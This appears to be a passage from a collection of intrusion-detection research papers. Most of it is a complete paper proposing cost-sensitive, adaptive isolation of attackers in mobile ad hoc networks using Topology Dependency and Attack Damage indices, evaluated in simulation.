backends, and conducted a trace-based evaluation of the cluster to ensure that
the cluster achieves transparency (output matches that of a stand-alone system)
and good performance with respect to scalability and communication overhead.

A prototype of the cluster runs at the Lawrence Berkeley National Labo-
ratory in parallel with the site’s operational security monitoring, which it will
eventually replace. Another prototype monitors the access links of UC Berkeley.
With the cluster infrastructure now in place, we plan to further investigate the
development of analysis algorithms specifically tailored for a distributed setting,
allowing us to decrease communication overhead. Even without this, the NIDS
cluster already increases the computational power of network security analysis
far beyond what is currently feasible in these environments.
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Abstract. This paper addresses how to perform cost-sensitive responses to 
routing attacks on Mobile Ad Hoc Networks (MANET). There have been 
numerous research efforts on securing MANET protocols using cryptography or 
intrusion detection techniques. However, few writings have addressed MANET 
intrusion response. Most research on automated response for wired networks 
focuses on how to select the best response action to improve the security 
posture and availability of the system in a cost effective manner. We borrow 
this cost sensitive concept and develop a cost model for MANET. Two indices, 
Topology Dependency Index (TDI) and Attack Damage Index (ADI), are 
developed to reflect the response cost and attack damage, respectively. TDI 
measures the positional relationship between nodes and the attacker, and ADI 
represents the routing damage caused by the attacker. Response cost, routing 
damage brought by the isolation response, can be calculated from TDI. 
Comparing TDI with ADI helps the response agents (“RA”) to perform 
Adaptive Isolation  while maintaining good network throughput. The simulation 
results show that launching adaptive isolations according to the comparison of 
TDI and ADI gives better network throughput than direct isolation. Therefore, 
the main contribution of our solution is to keep network connectivity when 
launching isolation responses and to do so such that good quality of network 
routing services is maintained. 

Keywords: MANET, Response Agent (RA), Topology Dependency Index 
(TDI), Attack Damage Index (ADI), adaptive isolation, attack damage, response 
cost. 

1   Introduction 

In traditional wireless networks, which have a fixed infrastructure, all mobile devices 
use wireless radio to communicate with a base station connecting to a wired network. 
However, a base station does not exist under some circumstances where a wired 
infrastructure is not available or not effective, such as on  battlefields, or in disaster 
areas. These needs are served by Mobile Ad Hoc Networks (MANET). MANET  
[1, 2,3] is a set of nodes that can communicate with each other without a static base 
station. These mobile nodes act as both routers and hosts, exchanging routing control 
messages with each other to establish routing topologies. Routing protocols in 
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MANET enable mobile nodes to maintain reliable routing tables in order to adapt to 
the dynamic environment. 

MANETs are vulnerable to attacks because of open radio media, no central 
authority point, and decentralized cooperation. Many Intrusion Detection Systems 
(IDS) have been proposed for different MANET routing protocols [4, 5, 6, 7, 8, 9,10]. 
In summary, the current trend of MANET IDS is to deploy a distributed IDS with 
cooperative decision algorithms. Each mobile host has an IDS deployed, which is 
running a local detection engine that analyzes local data thereby detecting intrusions. 
A cooperative detection mechanism depends on all nodes participating cooperatively 
in the intrusion detection process.  Although many IDS have been developed for 
MANET, there is limited work concentrating on response systems specifically in 
MANET except isolating uncooperative nodes according to nodes’ reputation 
observed from their behaviors [26,27,28,29].  Our target is designing an automated 
response system, which is compatible with distributed, network-based Intrusion 
Detection Systems for proactive protocols in MANET.  

In this paper, we develop a cost sensitive response model, which considers the 
node criticality and attack damage. First, we discuss the vulnerability, our attack 
model, and the corresponding responses for MANET. Subsequently, our solution 
model focuses on the response of isolating the attacker.  The main contribution of our 
solution is the ability to keep network connectivity when launching isolation 
responses. We develop two indices, Topology Dependency Index (TDI) and Attack 
Damage Index (ADI), to reflect response cost, attack damage, and relative topology 
change. TDI is used to measure the routing dependency of the attackers’ neighboring 
nodes on the attacker, and ADI is used to represent the routing damage caused by the 
attacker. By using TDI, we can evaluate the response cost, which means, in other 
words, how much damage the isolation response caused to the routing service. 
Comparing TDI with ADI helps the response agents (RAs) to determine when and 
how to appropriately isolate the attacker with low response cost. When RA detects a 
routing attack, if TDI is zero or ADI is larger than 2* TDI, RA would determine to 
isolate the attacker temporarily, which is called “Adaptive Isolation.” The simulation 
results show that adaptive isolation is better than complete isolation, temporary 
isolation, and information recovery without isolation. 

The remainder of this paper is organized as follows.  Related works are discussed 
in Section 2. Section 3 discusses the background, and introduces our attack model 
together with the corresponding responses of MANET.  Section 4 outlines the 
problem statement and the solution characteristics. Section 5 presents our proposed 
solution and evaluation of the solution occurs in section 6. We summarize our 
conclusions and anticipated future work in Section 7.  

2   Related Works 

There have been numerous research efforts on securing MANET protocols using 
cryptography to prevent attackers from participating into the protocol [13, 14, 15] or 
using an intrusion detection technique to further improve the security of MANET  
[4, 5, 6, 10, 13]. Until now, research has been focused on detection. We can find few 
writings on automated response in a MANET environment.  
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Conversely, automated response has been studied for wired networks. Most 
research focuses on how to select the best response action to ensure that the response 
action will improve the security posture and availability of the system. Notification 
and manual response techniques are used by traditional response systems. However, 
these two categories are not proactive in countering an intrusion and leave a period of 
vulnerability between the point when the intrusion has been detected and the point 
when the first response is taken. Therefore, automatically responding to an attack as 
soon as possible is critical to an intrusion detection system.  

The first step of automatically responding to intrusions is to use decision tables. In 
order to solve inflexibility of static decision tables, such as false positives and 
negative side effects caused by a response, more complicated response systems using 
expert systems are also developed in CSM [22] and EMERALD [23] and Toth [24]. 
These papers contribute the idea that confidence metrics and severity metrics of 
detected attacks are included in the response process. Confidence metrics show the 
confidence of an intrusion detection system when detecting some attacks. The more 
confidence, the lower false positives should be. Severity metrics rate all potential 
negative impacts a response might cause for legitimate users. Therefore, response 
with higher severity metrics is launched only when the confidence metrics of attacks 
is relatively on the same level. 

Balepin [16] uses a cost model to reason about automated response. It is designed 
to work with a specification based intrusion detection system and the responses are at 
the host level instead of at the network level. The cost model enables the design of the 
optimal response strategy even in the presence of uncertainty. Tyluki [17] employs an 
approach based on Control Theory to identify network oriented automated response 
for countering denial-of-service attacks. A study by Toth [18] proposes a promising 
model for automating intrusion response. They construct dependency trees that model 
configuration of the network and give an outline of a cost model for estimating the 
effect of a response. These approaches, designed for wired networks or hosts, usually 
assume fixed configuration and the topology cannot be directly applicable to 
MANET.  

Tseng [4, 5] has developed an IDS for MANET proactive protocol, Optimized 
Link State Routing (OLSR), using a specification based approach by specifying four 
constraints of normal behaviors of participating nodes. If a node does not operate 
within these constraints, it will potentially be vulnerable to an attack.  This IDS work 
inspires a general model of automated response system (ARS) for MANET [11, 12]. 
In these works, each mobile node is deployed with an IDS agent together with an 
ARS agent and 1-hop neighbors then monitor each other. After observing anomalies, 
IDS will pass alarms to ARS for advanced processing. The response system is 
developed with consideration for the unique characteristics of MANET, mobility and 
dynamic topology. It starts with responding to attacks on MANET routing and three 
major stages in this automated response model are exchanging messages for alarm 
processing and alarm validation, cost-sensitive response selection, and damage 
recovery. An efficient message exchange framework among distributed response 
agents has been addressed [12]. Our work borrows the cost sensitive response concept 
and proposes a new solution to address challenges in MANET.   
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3   Mobile Ad Hoc Networks and Vulnerability 

3.1   Mobile Ad Hoc Network (MANET) 

In traditional wireless networks with a fixed infrastructure, all mobile devices use 
wireless radio to communicate with a base station, which then connects to a wired 
network. However, a base station does not exist under some circumstances, or a wired 
infrastructure is not available or ineffective, for example in battlefields or disaster 
areas. Therefore, Mobile Ad Hoc Networks (MANET) are needed. MANET consists 
of mobile nodes sharing wireless channels to communicate with each other without a 
pre-established infrastructure. In MANET, mobile nodes act as both routers and hosts, 
exchanging routing control messages with each other to establish routing. Routing 
protocols for MANET generally fall into one of the two categories: proactive or 
reactive protocols. 

Proactive routing maintains routes to all destinations at all times, regardless of 
whether they are needed or not. In contrast, reactive or on-demand routing protocols 
initiate routes only when there is data to send. Ad Hoc On-Demand Distance Vector 
(AODV) and Optimized Link State Routing Protocol (OLSR) are representative 
examples of reactive and proactive protocols, respectively. AODV only provides 
partial topology information to nodes which participate in an active route. For 
example, in AODV, every node on an active route only knows its own next hops 
towards the source and destination of the route. Therefore, in our opinion, a proactive 
protocol is easier to be designed and protected by security systems because it provides 
complete topology information to every node all the time, and such that intrusion 
detection and response systems have more sufficient routing information for attack 
analysis and detecting malicious behaviors. As a result, we use OLSR, a proactive 
routing protocol, as our design target in this paper. 

3.2   Vulnerability of MANET 

Wireless links are particularly vulnerable to eavesdropping, replay, spoofing, and 
other attacks. Especially in MANET, there is no fixed infrastructure and each node 
acts as both a router and a host. Therefore, all the network activities rely on 
cooperation of all nodes. If some node behaves uncooperatively and maliciously, for 
example, dropping or modifying packets, services provided by MANET will fail. 
Several studies have been done analyzing the vulnerabilities of MANET protocols [5, 
6, 7, 19, 20]. We summarize the vulnerabilities and classify these threats in MANET. 
The classifications are presented below. 

Insiders VS. Outsiders. MANET vulnerability can be categorized into outsider and 
insider attacks. Outsider attacks can be detected by traffic pattern analysis, which 
does not require breaking the cryptography system; or can be eavesdropping, which 
can be prevented with authentication [21, 22]. If the attacker gains the privilege to 
participate in the network, either by physically catching and compromising a good 
node or by bypassing the authentication, then it becomes an insider. In the MANET 
intrusion detection systems (IDSs) we have surveyed, most of these IDSs focus on 
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detecting insider attacks. Since our Automated Response System (ARS) is designed 
for cooperating with these IDSs, we narrow down the threat scope to insider attacks 
only. 

Routing Services VS. Packet Delivery Services. Threats can also be categorized into 
attacks to routing services and attacks to packet delivery services.   Attacks to routing 
services can be achieved by disrupting the integrity or authenticity of routing control 
packets. For example, the malicious node can modify routing packets to prevent 
correct routing construction or prevent a correct existing path from being used by 
other nodes, or construct a virtual route.  Conversely, packet delivery services 
disruption can be achieved by modifying or dropping data packets delivered from the 
source node. Compared with routing control messages, attacks to data packets have 
less impact since they only influence the communication between the sender and the 
receiver. While in routing service attacks, the attack damages will propagate and the 
correctness of routing tables at each node that receives infected routing packets is 
destroyed. In table 1, we list possible attacks on routing services by modifying 
different fields of routing packets to achieve different goals. 

Table 1. Possible modified fields of routing control packets and its influences 

Modified 
Field 

Influences 

IP address spoofing 
Sequence # routing packet freshness 

Hop Count shortest path calculation 

TTL flooding 
Neighbor List Routing table 

 
In addition to the attack categories discussed above, there are other attack types 

mainly concerning confidentiality. One is location privacy and the other is traffic 
pattern analysis. These two attacks are particularly sensitive to the military 
environment. Nodes need to hide their location and keep their tasks secret from their 
enemy. 

3.3   Attack Model 

In this subsection, we present the attack model on which our response system is based 
and, in section 5 will discuss what responses should be taken against different types of 
attacks. Because of the IDS [4,5] our work bases on, our attack model simply focuses 
on insider attacks to routing services as discussed in section 3.2. In the attack model, 
we further categorize attacks into authenticity, integrity, and availability, which are 
discussed below. 

Authenticity. Attackers can spoof others’ IP addresses to send either correct or 
incorrect routing messages. However, if a node impersonates others to send correct 
routing messages, it causes no harm to routing services. Therefore, the attack model 
only includes the case of spoofing others to send incorrect routing information. We 
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assume that TESLA authentication [22] is used to protect the authenticity of routing 
packets, therefore IDSs will detect the impersonation instead of reporting the victim 
being spoofed as the attacker. 

Integrity. In this category of attacks, there is no spoofing issue belonging to the 
category of authenticity. In other words, in the category of attacks against integrity, 
IDSs have detected exactly who the attacker is. There are two major ways to disrupt 
the integrity of routing packets. One is Fabrication, which generates a non-existed 
routing packet, carrying incorrect routing information. The other is Modification, 
which modifies the contents of an existing routing packet. However, the damage 
results of integrity disruption by utilizing both ways are the same – incorrect routing 
information to damage the correctness of routing tables.   

Availability. There are two major ways to disrupt the availability of routing. 
Attackers can either drop packets to refuse to cooperatively provide routing services, 
or jam the network channel with a large amount of traffic.  

Table 2. This table summarizes our attack model along with its correspondingly preliminary 
responses, which are discussed in 3.4 subsequently. The table includes three categories of 
attacks: attacks against authenticity by spoofing IP addresses, attacks against integrity by 
modifying contents of packets or even fabricates a non-existed packet, and finally attacks 
against availability by dropping packets or flooding packets to jam the channel.  

3.4   Possible Responses 

There are three fundamental responses: information recovery, isolation, and reloc- 
ation.  

Information Recovery. This response involves sending correct routing messages and 
recovering the corrupted routing tables at each node in real time. This response should 
be taken when attacks against integrity and authenticity were detected. Dropping 
attacks may not require this response because packets still propagate to the entire 
network by the nature of flooding. In this response, ARS will ask the node who has 
the correct information to re-broadcast the correct routing packets and do so such that 
wrong routing information at each node is overwritten. It has no additional message 
overhead in proactive routing protocols because it can be performed by periodical 
 

 Attack 
Method Example Attack Responses 

Authenticity Spoofing Impersonation Send correct information 

Fabrication Bogus route error 
Integrity 

Modification add or delete routes 

Send correct information 
& Isolation 

Jamming Paralyze the channel Relocation 
Availability 

Dropping Denial of service Isolation 
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routing control messages. For example, in OLSR, correct routing information can be 
broadcast and flooded by Hello and Topology Control (TC) messages. 

Isolation. Once a malicious node is detected, the most intuitive response is to isolate 
the node to prevent any advanced attacks. In isolation response, the neighbors of the 
malicious node will totally ignore the malicious node by neither forwarding packets 
through it nor accepting any packets from it. Furthermore, isolation response can be 
performed to a different degree. We introduce two new terms for isolation: complete 
isolation and temporary isolation.  

Complete Isolation. Complete Isolation means EVERY response agent surrounding 
the attacker will totally ignore the packets sent from the attacker. This type of 
isolation simply treats the attacker as a non-existent node and stops communicating 
with it. Gradually, the attacker will disappear from routing tables of all nodes in the 
network because no one will receive his routing control messages. 

Temporary Isolation. This is a complete isolation that has in addition the time-wise 
concept. Permanent isolation means completely isolating the attacker forever. While 
in temporary isolation, once the attacker is isolated completely, it might be released 
and participate in the routing again. If the attack pattern is observed, the response 
system can determine permanent or temporary isolation against the attacker. For 
example, if the attack rate is high with a constant frequency, permanent isolation is 
considered, and vice versa.   

Relocation. A relocation response is taken when the attacker is so critical in topology 
that it cannot be directly isolated.  For example, in figure 1, node 6 and 7 are the only 
two nodes to bridge two sub-networks, A and B. Therefore, isolating node 6 will 
cause network partition. Therefore, another node, for example, node 11, can be 
relocated as close to node 6 and then isolate node 6 later. In this way, the network 
connectivity is maintained. Global positioning system (GPS) can assist the response 
systems in locating a certain area close to the attacker and within which one of nodes 
can be selected to be relocated.   

3.5   Fundamental Responses for Attack Model 

These fundamental responses can apply to the attacks of our attack model as listed in 
table 2.  

Authenticity. As mentioned in 3.3, this category only includes the case of spoofing 
others to send incorrect routing information.  In this case, the Intrusion Detection 
System (IDS) can only detect the corrupted routing messages without knowing who 
actually sent them since the attacker spoofs the IP. As a result, in the category of 
attacks against authenticity, the only response is to correct corrupted routing 
information for information recovery.  

Availability. Attacks against availability include dropping and jamming. When 
jamming attacks happen, the victims affected by the attacker need to either switch the 
radio frequency or move out of the attacker‘s transmission range to avoid being 
jammed, which is a type of relocation. This might be a “group” relocation, which 
means every node moves together in the same direction and with the same speed. 
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Such that they can be away from the attacker as well as keep connectivity with each 
other. Regarding dropping attacks, isolation is the only response, especially when the 
dropping rate is high and constant.  

Integrity. In this category of attacks, IDSs have detected exactly who the attacker is 
and what the corrupted contents are. So the response should be isolating the attacker 
to prevent the routing information from being corrupted by the attacker.  

4   Problem Statement and Solution Characteristics 

4.1   Problem Statement  

In wired networks, router topology depends on manual configuration. The 
administrator manually chooses the gateway and determines the routing hierarchy. 
Since the routers are deployed by humans, the router distribution tends to be normal 
and the topology is fixed and expected. Unlike normal and pre-established router 
distribution in wired networks, topology of MANETs is more dynamic in terms of 
random node distribution and topology change caused by node mobility. Therefore, 
when performing a response, the attacker’s criticality in the topology should be 
evaluated in deciding a proper response. Intuitively, isolating the malicious node is 
the most fundamental response. However, although a response can stop attacks, it 
may also partially or completely bring down services and cause denial of service to 
legitimate users. For example, in figure 1, isolating node 6 or node 7 will partition a 
network into sub-networks A and B, which may bring more routing damages than the 
attack itself. Therefore, a proper response is expected to alleviate the damage and to 
sustain services as well. In order to avoid causing more damage after responding, a 
comparison between attack damage and response cost needs to be performed. In this 
context, cost is defined as the negative impacts to the routing. In this paper, we 
propose a solution for performing this comparison. 
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4.2   Solution Characteristics 

Distributed architecture. In wired networks, both IDSs and ARSs can be deployed 
on gateways, switches, or a particular centralized node. However, MANET has 
neither static topology nor a central point. Because of the decentralized nature of 
MANETs, the architecture of most IDSs developed for MANETs [2, 3, 4, 5, 6] is 
fully distributed rather than using a central monitoring point. In order to cooperate 
with these main-trend IDSs of MANETs, distributed architecture should be adopted 
for developing ARSs. 

Automated. As we introduced in section 3, the attack model of our response system 
focuses on attacks against routing.  Routing is the main service provided by 
MANETs.  Therefore, it is critical to recover the routing faults in real time. If the 
attack is not stopped promptly, the attack damage will propagate to the entire network 
and the unattended attacker may launch recurring attacks.  Consequently, the 
performance of delivering packets will be seriously degraded and so much so that the 
quality of routing service is deteriorated. In order to circumvent the degradation of the 
network and achieve real-time response, an automated response system is required.  

5   Solution 

As discussed previously, simply isolating the attacker might cause more damage than 
the attack itself. In order to avoid this problem, we need to develop some matrix to 
determine when and how to isolate the attacker. For MANET routing, network 
topology is the most fundamental element used to determine the response cost. In the 
early stage of designing this cost model, we focused on developing indices to reflect 
the attack damage and the node criticality in the routing topology. In this section, we 
introduce the Topology Dependency Index (TDI) and the Attack Damage Index 
(ADI), which are used to represent node criticality and attack damage, respectively. 

5.1   Topology Dependency Index (TDI) 

We propose a new term, “Topology Dependency Index” (TDI), and develop an 
algorithm to calculate this index. TDI is then used to represent the routing 
dependency of some particular node upon the attacker. For example, TDI(N, A) can 
tell us how much N’s routing service will be disrupted if the attacker A is isolated. 
Therefore, TDI can represent Response Cost, which is the negative impact caused by 
a response.  

Definition of TDI. Each of Attacker’s 1-hop neighbors (response agents) will 
calculate their TDIs of the Attacker. TDI can represent how much of their routing 
depends upon the attacker. TDI is defined as follow: 

 TDI( N, Attacker ) = | A |  

Where N and the Attacker are neighbors and, 
A = set of nodes that N cannot reach without taking the Attacker as the next hop. 
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Two cases for TDI value: 

TDI(N, Attacker) = 0. It means the Attacker is not a critical node to N in topology 
since N’s reach ability to all other nodes is not influenced by the Attacker at all. In 
this case, the Attacker can be isolated from N’s point of view. 

TDI(N, Attacker) > 0. It means N’s reach ability to some nodes is influenced by the 
Attacker. Therefore, if the Attacker is isolated from the network, N cannot reach some 
set of nodes. In other words, N must take the Attacker as the next hop in order to 
reach some set of nodes. In this case, ARS residing on N may not consider isolating 
the Attacker as the response. Otherwise, some links will be broken and might bring 
more routing damage than the attack itself. 

Algorithm of Calculating TDI(N, Attacker): 

Step 1:  
N will count the number C1 of its routing table entries 

Step 2:  
After taking the Attacker away from all its routing control messages, N 

recalculates its routing table and gets C2 of new routing table entries 
Step 3: 

TDI(N, Attacker) =| C1–C2 |  

5.2   Attack Damage Index 

Attack Damage Index (ADI) is used to indicate the damage caused by an attack. 
When a node detects an attack, it will calculate the damage in terms of the number of 
nodes were affected by this attack. Each response agent will calculate how many 
routes from itself to other nodes changes after attacks. Here is the scenario of how we 
define the route change: before attacks happen, node A takes node B as the next hop 
to reach node C. However, after attacks, node A takes another node D, instead of 
node B, to reach node C. This is a basic example of how we define the route change, 
which is used to determine the attack damage. 

Definition of ADI. Each of Attacker’s 1-hop neighbors (response agents) will 
calculate their ADIs caused by the Attacker. This can represent how many routes 
from each of the response agents to other nodes are changed after the attack.    

 ADI( N, Attacker ) = | B |  

Where N and the Attacker are neighbors and, 
B = set of nodes whose routes from N to them change after attacks.   

Algorithm of Calculating ADI(N, Attacker): 

Step 1:  
N calculates the corrupted routing table T1 using the incorrect routing 
information.  

Step 2:  
N calculates the correct routing table T2 by using correct routing information. 
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Step 3:  
Compare all entries of T1 with those of T2. If any of T1’s entry is missing or 
has a different next hop or has a different hop count, then increase Count by 
1. 

Step 4:  
Return Count, which represents ADI. 

5.3    Discussion on TDI and ADI  

Both of the complexity of TDI and ADI algorithms are in O (number of nodes of the 
entire network), which is the same as the complexity of calculating routing tables of 
the protocol. Since protocol performance has proven to be good, the overhead of 
calculating TDI and ADI is good. 

When ADI is calculated by a Response Agent (RA), RA needs to check which 
route from it to some other particular node changes. By checking if any route from it 
to other nodes changes or not, RA compares the correct routing table with the 
corrupted routing table. If any entry misses, or either the next hop or hop count 
changes, it will be a route which is affected by the attack. There are some intuitive 
objections arguing that it cannot detect all affected routes. However, our explanations 
are given. 

First argument. In a routing table, given that both the next hop and the hop count of 
some routing entry does not change, is it possible that some point-to-point links on the 
route still change? 
Clarification. No. According to the routing algorithm, if a new route whose next hop 
and hop count towards some particular node equal to those of the current route, it will 
keep the current route. Therefore, if both the next hop and the hop count do not 
change, it means the entry is not influenced by the attack. 

Second argument. Only the neighboring nodes of the attacker calculate ADIs. Can 
these ADIs represent or reflect the overall damage of the entire network?  
Clarification. Yes. Usually, the attacker manipulated the routing information to make 
it more attractive to other nodes such that it will be chosen as their next hop towards 
other destinations. Given this attack purpose, any wrong route involving the attacker 
must contain at least one of the attacker’s neighbors. Therefore, ADIs calculated by 
the attacker’s neighbors can proportionally reflect the overall attack damage of the 
entire network.   

5.4   Adaptive Isolation 

A discussion comparing TDI and ADI begins by noting that both TDI and ADI use 
“node” as their unit. Therefore, it is easy for an RA to compare them with each other 
and perform isolation properly. There are three basic cases when comparing TDI with 
ADI: 

ADI > TDI: represents the case where attack damage caused by the attack itself is 
more severe than the damage caused by isolating the attacker. Therefore, isolating the 
attacker is the proper selection for response. 
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ADI < TDI: represents the case where isolating the node will cause more routing 
damage than the attack itself. Obviously, directly isolating the attacker is not a good 
response. It is better if another node can be relocated to replace the attacker’s position 
in the topology and then isolation response can be performed against the attacker. 

ADI ~ TDI: represents the case where attack damage and response cost is similar. 
The cost of a disconnected node is larger than that of a forged neighbor because the 
node loses the two-way connection to a disconnected node and only the one-way 
connection to a forged neighbor. So the node should isolate the attack while ADI > 2 
* TDI. 

Therefore, we isolate the attacker according to the comparison of TDI and ADI, and 
we call this technique “adaptive isolation.” If TDI is zero, the attacker will be isolated 
since isolating the attacker will cause no attack damage. If TDI > 0, the node isolate 
the attacker only when ADI > 2 * TDI. Since the topology is dynamic, the isolation 
will last one minute, and new ADI and TDI will be calculated again. 

6   Evaluation  

6.1   Case Study 

Two scenarios, based on the topology in figure 2, are described and discussed below. 
  
Scenario 1: Node 8 is the attacker lying near node 2 and node 3 are his neighbors. 
Detection: node 4 and node 9 detected this falsified routing information. 
TDI and ADI calculation:  TDI4(8) = 0, ADI4(8) = 2; 

TDI9(8) = 0, ADI9(8) = 2.  
In this scenario, both node 4 and node 9 can simply isolate the attacker. That their 
TDI equals to 0 means isolating the attacker does not influence their reach ability to 
other nodes in the network. On the other hand, their ADI are greater than 0 as well as 
greater than their TDI. Therefore, it is easy to determine Isolation as the response 
because ADI is greater than TDI, which means attack damage is more severe than 
response cost. 

 
Scenario 2: Node 10 is the attacker lying near node 0 is his neighbor. 
Detection: node 6, node 9 and node 11 detected this falsified routing information. 
TDI and ADI calculation:  TDI6(10) = 1, ADI6(10) = 0; 

TDI9(10) = 1, ADI9(10) = 1; 
TDI11(10) = 10, ADI11(10) = 2.  

In this scenario, node 11 definitely does not want to isolate node 10 because of much 
higher TDI than ADI, which indicates it will cause more routing damage than attack 
itself. For node 6, TDI is greater than zero and ADI is zero so node 6 does not isolate 
node 10. Regarding node 9, its TDI equals to its ADI so ADI is not large enough to 
trigger the isolation. Therefore, in this scenario, node 6, 8 and 9 only perform attack 
recovery, and they do not isolate the attacker because the cost of isolation is larger 
than attack damage.    
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Fig. 2. Example Topology with Attacks 

6.2   Experiment 

We implemented our experiments on OLSR routing protocol [1] using GloMoSim as 
the simulation tool. GloMoSim is a clean and scalable simulation tool designed for 
MANET and it supports 802.11 and the Ground Reflection (Two-Ray) Model. This 
radio model has both a direct path and a ground reflected propagation path between 
the transmitter and the receiver. The radio range is about 250 meters calculated with 
the following parameters [25]— antenna height: 150cm, transmission power: 5dBm, 
antenna gain: 0, sensitivity: 91 dBm, and receiving threshold: 81 dBm. Nodes are 
randomly placed in the equally divided cells in the field. The total simulation time is 
600 seconds and the bandwidth is 2 Mbps. 

In the experiments all mobile nodes follow the Random Waypoint Mobility 
Model. Furthermore, we designed a random traffic generation model and 
implemented it in our experiment, which focuses on end-to-end traffic. Because nodes 
are placed in the equally divided cells, most of the nodes are connected and able to 
communicate with each other. In this model, each node randomly chooses a 
destination from the set of all other nodes and sends a 1024K-byte UDP packet to the 
selected destination every other second. If a destination receives a UDP packet, it is a 
successful transmission and vice versa. Therefore, the successful delivery rate is 
number of received UDP packets of destinations / number of sent packets from 
sources in the whole network. Moreover, this delivery rate is the measurement 
representing network throughput in the experiment. The reason for designing this 
traffic model is that we want to experiment with the network traffic sent from each 
node since MANET is a fully distributed network, where each node is treated equally. 

While evaluating our solution, we simplified our attack model to consider integrity 
only because we are mainly interested in the impacts of launching different ways of 
isolations under different combinations of TDI and ADI. In the experiment, the 
attacker selects some number of non-neighboring nodes (3 nodes by default) as the 
victims, and adds them into its neighbor list with its new “Hello” message. Next, the 
attacker’s real neighbors who receive the forged “Hello” message are attracted by the 
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forged neighbors and add the incorrect routing information into their routing table. 
When the real neighbors request the attackers to forward packets to the forged 
neighbors for them, the attacker drops the packets since it cannot deliver the packets. 
Obviously, this attack decreases the network throughput because of unsuccessful 
packet delivery. Besides, the attacker also re-selects the forged neighbors every 
minute to make the attack more difficult to detect. Since the network topology is 
dynamic due to node mobility, the neighbor list of “Hello” messages changes in 
nature. Therefore, statistical packet drop detection is challenging in this attack 
because IDSs hardly determine the packet drops caused by attacks or by topology 
changes.  

On the detection side in our experiment, we use specification based intrusion 
detection for OLSR [4] [5] to detect this attack. This detection model can practically 
detect forged neighbors of “Hello” messages in 20 seconds with low false positives. 
We assume this detection engine is running on each node and in a way that every 
attack can be detected in 20 seconds from the time the attack is launched. As 
mentioned, a new attack reoccurs every minute regularly, therefore, the victim node is 
under attack in the first 20 seconds and is recovered in the remaining 40 seconds.   

The purposes of our experiments are to observe the difference between attacks with 
prompt responses and attacks without responses. Furthermore, we are also interested 
in knowing the effects of performing isolation with and without considering TDI and 
ADI. For these purposes, we develop 6 testing modes, which are described as follows:  

Mode 0: Normal traffic generated by our traffic model without any attack.  

Mode 1: Normal traffic. The attack is running without detection.  

Mode 2: Normal traffic with attack running. The attack is detected in 20 seconds   
and the corrupted routing information will be recovered by sending correct 
information. However, in this mode, the attacker is not isolated. 

Modes 3, 4, and 5 have the attack, information recovery as well as different 
degrees of isolation responses. The scenarios of the traffic pattern, attack pattern and 
information recovery are exactly the same in these three modes. The only difference 
among them is the way isolations are performed. 

Mode 3: Normal traffic with attack running. The attack is detected in 20 seconds and 
the corrupted routing information will be recovered sending correct information. 
Meanwhile, the attacker is isolated completely, which means every neighboring node 
of the attacker refuses to communicate with the attacker from this point on.  

Mode 4: Once the attacker is identified, it will be isolated for one minute, which is 
temporary isolation. 

Mode 5: In mode 5, we want to test the effectiveness of adaptive isolation, which is 
our proposed solution. If ADI is larger than 2* TDI or TDI is 0, the attacker is 
isolated for one minute.   

6.3   Experiment Results 

We run these 6 test modes according to three kinds of matrices: attack degree, 
mobility, and scalability. 
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Attack degree. We tested 1 to 7 forged neighbors in a 10-node network with no 
mobility. When the number of forged neighbors is 5, the attack damage significantly 
increases since half of the nodes are forged as the attacker’s neighbors. If the number 
is 7, almost every node becomes the forged neighbor. From figure 3, as the attack 
damage increases (number of forged nodes increases), our proposed solution: adaptive 
isolation running in mode 5 works better than other recovery methods of other modes. 

 

Fig. 3. Delivery Rate in different Attack Degrees 

 

Fig. 4. Delivery Rate in different mobility 

Mobility. Here we run the six test modes with differing degrees of node speed. With 
no mobility, attack damage is obvious, and clearly, the adaptive isolation works better 
than any other mode except mode 0 (no attack). As the node speed increases, the 
delivery rate significantly decreases due to unstable connectivity between nodes. 
Furthermore, the attack damage also decreases because the mobility itself already 
brought broken links while updating new routing topologies. So, the performance 
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difference between different modes with different response methods becomes less 
noticeable. However, from figure 4, mode 5 with adaptive isolation still works the 
best and has the highest network throughput. In addition, although node pause time is 
also a factor of node mobility, it does not show much impact on the delivery rate. 
Therefore, we do not discuss it in this context.  

Scalability. As the number of nodes increases, the delivery rate decreases because 
each packet transmission involves more hops and as a result, it has higher possibility 
of delivery failure. Moreover, as the number of nodes of the network increases, the 
number of neighbors of the attacker does not increase in the same proportion. In other 
words, the significance of the attacker decreases, and correspondingly, the attack 
impact of the attacker also becomes less noticeable. As a result, the attack damage 
significantly decreases because of the lowered significance of the attacker in the 
topology as the network size increases. Intuitively, as the attack impact decreases, the 
gap of delivery rate between different recovery methods decreases, but the adaptive 
isolation method is most effective (figure 5). However, the results become more 
random since the random traffic generation has more influence on the delivery rate. 

 

Fig. 5. Delivery Rate in different scalability 

From the results, we can conclude that the ranking of the delivery rate from high to 
low in six test modes is: (1) Normal, (2) Adaptive Isolation, (3) Complete Isolation, 
(4) Temporary Isolation, (5) Information recovery only without isolation, (6) Attack 
without Detection and Responses. Therefore, isolating the attacker helps to improve 
the network throughput compared with performing information recovery only. 
Furthermore, isolating the attacker adaptively by referencing the comparison between 
TDI and ADI also increases the network throughput. Therefore, consideration of the 
comparison of attack damage and response cost indeed increases the quality of 
routing services after taking responses has been proven. 
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7   Conclusion and Anticipated Future Work 

We developed Topology Dependency Index (TDI) to represent the response cost and 
Attack Damage Index (ADI) to measure the routing damage brought by the attack. 
Comparing TDI with ADI helps the Response Agents (RAs) to perform the adaptive 
isolation. From the simulation results, the importance of prompt responses, 
information recovery, and isolation is shown. Launching instant responses can 
increase the network throughput of the attacked network. Furthermore, performing 
adaptive isolation smartly by comparing TDI and ADI improves the network 
throughput even more than regular complete isolation. 

In addition to attack damage (ADI) and response cost (TDI), some other factors 
can be considered, such as attack pattern, node reputation, and alarm confidence.  
Attack pattern means attack frequency in this context. For example, if a malicious 
node drops or modifies 80% of the packets, the response will tend to be isolation and 
route through another node. Furthermore, if the attacking rate is high and constant, 
permanent isolation is preferred. If attacks happen sporadically, temporary isolation 
might be chosen.  Besides attack pattern, node reputation and blacklist approach 
[26,27] can be used to detect and react to packet drop attacks. Node reputation and 
alarm confidence are also good references for deciding responses, which will be 
integrated into our solution model. The better reputation of the reporting node and the 
worse reputation of the reported node, the higher confidence of this alarm and severe 
responses can be taken. For instance, an ID agent A with bad reputation raises an 
alarm against a suspicious node N with good reputation. The Response agent should 
be more conservative when launching a response because it might be a false alarm. 
These topics will be covered in our future work. 
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Abstract. Malicious insiders do great harm and avoid detection by us-
ing their legitimate privileges to steal information that is often outside
the scope of their duties. Based on information from public cases, con-
sultation with domain experts, and analysis of a massive collection of
information-use events and contextual information, we developed an ap-
